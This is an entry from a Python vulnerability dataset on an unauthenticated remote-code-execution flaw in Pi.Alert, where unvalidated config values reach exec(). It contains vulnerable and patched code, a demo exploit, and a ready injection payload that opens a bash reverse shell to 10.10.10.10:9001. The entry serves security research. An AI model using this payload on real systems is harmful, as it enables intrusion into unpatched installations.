CVE-2026-44888
Pi.Alert unauthenticated RCE via code injection in config file settings.
- CVSS 9.8
- CWE-94
- Input Validation and Sanitization
- Remote
Pi.Alert is a WIFI / LAN intruder detector with web service monitoring. Prior to 2026-05-07, Pi.Alert's SaveConfigFile() endpoint writes user-supplied numeric config values (e.g., SMTP_PORT) directly into pialert.conf without validation. Since pialert.conf is loaded via Python's exec() every 3–5 minutes by the background cron process, an attacker can inject arbitrary Python code and achieve unauthenticated OS-level RCE. On default installations (PIALERT_WEB_PROTECTION = False), no credentials are required. This vulnerability is fixed in 2026-05-07.
- CWE
- CWE-94
- CVSS base score
- 9.8
- Published
- 2026-05-27
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Pi.Alert
Solution
Update Pi.Alert to the version released on 2026-05-07 or newer.
Vulnerable code sample
import os
import sys
# --- VULNERABLE PI-ALERT CODE (PRE-FIX) ---
# This is a simplified representation of the vulnerable code in Pi.Alert
# before the patch for CVE-2026-44888 was applied.
CONFIG_FILE = 'pialert.conf'
def SaveConfigFile(request_form_data):
"""
Simulates the endpoint that saves configuration settings.
It receives data, supposedly from a web form, and writes it to pialert.conf.
"""
# In a real scenario, this function would read the existing config and update it.
# For this demonstration, we'll just overwrite the file.
# VULNERABILITY: User-supplied values are written directly into the
# configuration file without any validation or sanitization.
# Numeric fields like SMTP_PORT are not checked to ensure they are actually numbers.
with open(CONFIG_FILE, 'w') as f:
for key, value in request_form_data.items():
f.write(f"{key} = {value}\n")
print(f"[*] Configuration data written to {CONFIG_FILE}")
def run_cron_job():
"""
Simulates the background cron process that runs every few minutes.
It reads the pialert.conf file and executes it as Python code.
"""
print("[*] Simulating cron job execution...")
try:
with open(CONFIG_FILE, 'r') as f:
config_data = f.read()
# VULNERABILITY TRIGGER: The content of the config file, which
# an attacker has modified, is executed by the server.
exec(config_data, {'__builtins__': __builtins__})
print("[*] Cron job simulation finished.")
except Exception as e:
print(f"[!] Error during cron job execution: {e}")
if __name__ == '__main__':
print("--- DEMONSTRATING CVE-2026-44888 ---")
# 1. An attacker crafts a malicious payload.
# The value for SMTP_PORT is not just a number, but a string containing
# arbitrary Python code. The semicolon ends the variable assignment.
attacker_payload = {
'SMTP_HOST': "'smtp.example.com'",
'SMTP_PORT': "587; __import__('os').system('echo RCE Successful > pwned.txt')"
}
print("\n[STEP 1] Attacker sends malicious data to the SaveConfigFile endpoint.")
# 2. The attacker submits the payload. On a default Pi.Alert install,
# this endpoint is unauthenticated.
SaveConfigFile(attacker_payload)
print(f"\n[STEP 2] The malicious payload is now in '{CONFIG_FILE}':")
with open(CONFIG_FILE, 'r') as f:
print("--- FILE CONTENT ---")
print(f.read().strip())
print("--------------------")
print("\n[STEP 3] Waiting for the background cron process to run...")
# 3. A few minutes later, the system's cron job executes the config file.
run_cron_job()
# 4. We check if the attacker's command was executed.
if os.path.exists('pwned.txt'):
print("\n[SUCCESS] Vulnerability exploited! 'pwned.txt' was created.")
with open('pwned.txt', 'r') as f:
print(f"File content: '{f.read().strip()}'")
os.remove('pwned.txt') # Clean up
else:
print("\n[FAILURE] Exploit did not work as expected.")
# Clean up the config file
if os.path.exists(CONFIG_FILE):
os.remove(CONFIG_FILE)Patched code sample
import os
# A set of configuration keys that are expected to be numeric.
NUMERIC_CONFIG_KEYS = {
'SMTP_PORT',
'SCAN_INTERVAL'
}
def SaveConfigFile(form_data):
"""
Writes user-supplied data to pialert.conf after validation.
This version fixes the RCE vulnerability by strictly validating that
supposedly numeric values are indeed integers before writing them to
the configuration file that is later executed.
"""
config_lines = []
for key, value in form_data.items():
if key in NUMERIC_CONFIG_KEYS:
# --- START OF FIX ---
# Attempt to cast the value to an integer.
# This will raise a ValueError if the string contains any
# non-numeric characters (including newlines used for code injection).
try:
# If casting is successful, the value is a valid integer.
int_value = int(value)
config_lines.append(f"{key} = {int_value}")
except (ValueError, TypeError):
# If the value is not a valid integer, it is ignored and not
# written to the config file. This prevents the malicious
# payload from being saved and later executed.
pass
# --- END OF FIX ---
else:
# For all other keys, treat them as strings and ensure they are
# safely quoted using repr() to prevent code interpretation.
config_lines.append(f"{key} = {repr(value)}")
with open("pialert.conf", "w") as f:
f.write("\n".join(config_lines))Payload
587;__import__('os').system('bash -c "bash -i >& /dev/tcp/10.10.10.10/9001 0>&1"')
Cite this entry
@misc{vaitp:cve202644888,
title = {{Pi.Alert unauthenticated RCE via code injection in config file settings.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-44888},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44888/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
